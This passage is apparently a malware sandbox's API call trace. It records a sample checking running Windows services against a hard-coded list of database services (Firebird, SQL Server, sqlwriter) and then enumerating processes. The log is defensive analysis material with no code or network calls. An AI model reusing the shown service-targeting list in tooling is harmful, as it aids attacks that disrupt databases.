(lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0125.615] lstrlenW (lpString="Dhcp") returned 4 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0125.616] lstrlenW (lpString="Dnscache") returned 8 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0125.616] lstrlenW (lpString="DPS") returned 3 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0125.616] lstrlenW (lpString="DusmSvc") returned 7 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0125.616] lstrlenW (lpString="EventLog") returned 8 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0125.616] lstrlenW (lpString="EventSystem") returned 11 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0125.616] lstrlenW (lpString="FontCache") returned 9 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0125.616] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0125.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0125.616] lstrlenW (lpString="gpsvc") returned 5 [0125.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0125.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0125.616] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0125.617] lstrlenW (lpString="iphlpsvc") returned 8 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0125.617] lstrlenW (lpString="KeyIso") returned 6 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0125.617] lstrlenW (lpString="LanmanServer") returned 12 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0125.617] lstrlenW (lpString="LanmanWorkstation") returned 17 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0125.617] lstrlenW (lpString="lfsvc") returned 5 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0125.617] lstrlenW (lpString="lmhosts") returned 7 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0125.617] lstrlenW (lpString="LSM") returned 3 [0125.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0125.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0125.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0125.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0125.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0125.618] lstrlenW (lpString="MpsSvc") returned 6 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0125.618] lstrlenW (lpString="NcbService") returned 10 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0125.618] lstrlenW (lpString="netprofm") returned 8 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0125.618] lstrlenW (lpString="NgcSvc") returned 6 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0125.618] lstrlenW (lpString="NlaSvc") returned 6 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0125.618] lstrlenW (lpString="nsi") returned 3 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0125.618] lstrlenW (lpString="PcaSvc") returned 6 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0125.618] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0125.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0125.618] lstrlenW (lpString="PlugPlay") returned 8 [0125.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0125.619] lstrlenW (lpString="Power") returned 5 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0125.619] lstrlenW (lpString="ProfSvc") returned 7 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0125.619] lstrlenW (lpString="RpcEptMapper") returned 12 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0125.619] lstrlenW (lpString="RpcSs") returned 5 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0125.619] lstrlenW (lpString="SamSs") returned 5 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0125.619] lstrlenW (lpString="Schedule") returned 8 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0125.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0125.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0125.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0125.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0125.619] lstrlenW (lpString="SecurityHealthService") returned 21 [0125.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0125.620] lstrlenW (lpString="SENS") returned 4 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0125.620] lstrlenW (lpString="ShellHWDetection") returned 16 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0125.620] lstrlenW (lpString="Spooler") returned 7 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0125.620] lstrlenW (lpString="StateRepository") returned 15 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0125.620] lstrlenW (lpString="SysMain") returned 7 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0125.620] lstrlenW (lpString="SystemEventsBroker") returned 18 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0125.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0125.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0125.620] lstrlenW (lpString="Themes") returned 6 [0125.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0125.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0125.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0125.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0125.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0125.621] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0125.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0125.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0125.621] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0125.621] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0125.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0125.621] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0125.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0125.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0125.621] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0125.621] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0125.621] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556320 | out: hHeap=0x510000) returned 1 [0125.621] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0125.627] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.627] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.628] lstrlenW (lpString="System") returned 6 [0125.628] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.628] lstrlenW (lpString="smss.exe") returned 8 [0125.628] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.629] lstrlenW (lpString="csrss.exe") returned 9 [0125.629] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.629] lstrlenW (lpString="wininit.exe") returned 11 [0125.629] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.630] lstrlenW (lpString="csrss.exe") returned 9 [0125.630] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.630] lstrlenW (lpString="winlogon.exe") returned 12 [0125.630] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.631] lstrlenW (lpString="services.exe") returned 12 [0125.631] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.631] lstrlenW (lpString="lsass.exe") returned 9 [0125.631] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.631] lstrlenW (lpString="svchost.exe") returned 11 [0125.632] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0125.632] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0125.632] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0125.632] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0125.633] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.633] lstrlenW (lpString="svchost.exe") returned 11 [0125.633] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0125.633] lstrlenW (lpString="dwm.exe") returned 7 [0125.633] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.634] lstrlenW (lpString="svchost.exe") returned 11 [0125.634] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.634] lstrlenW (lpString="svchost.exe") returned 11 [0125.634] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.635] lstrlenW (lpString="svchost.exe") returned 11 [0125.635] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.635] lstrlenW (lpString="svchost.exe") returned 11 [0125.635] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.636] lstrlenW (lpString="svchost.exe") returned 11 [0125.636] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.636] lstrlenW (lpString="svchost.exe") returned 11 [0125.636] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.637] lstrlenW (lpString="svchost.exe") returned 11 [0125.637] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.637] lstrlenW (lpString="svchost.exe") returned 11 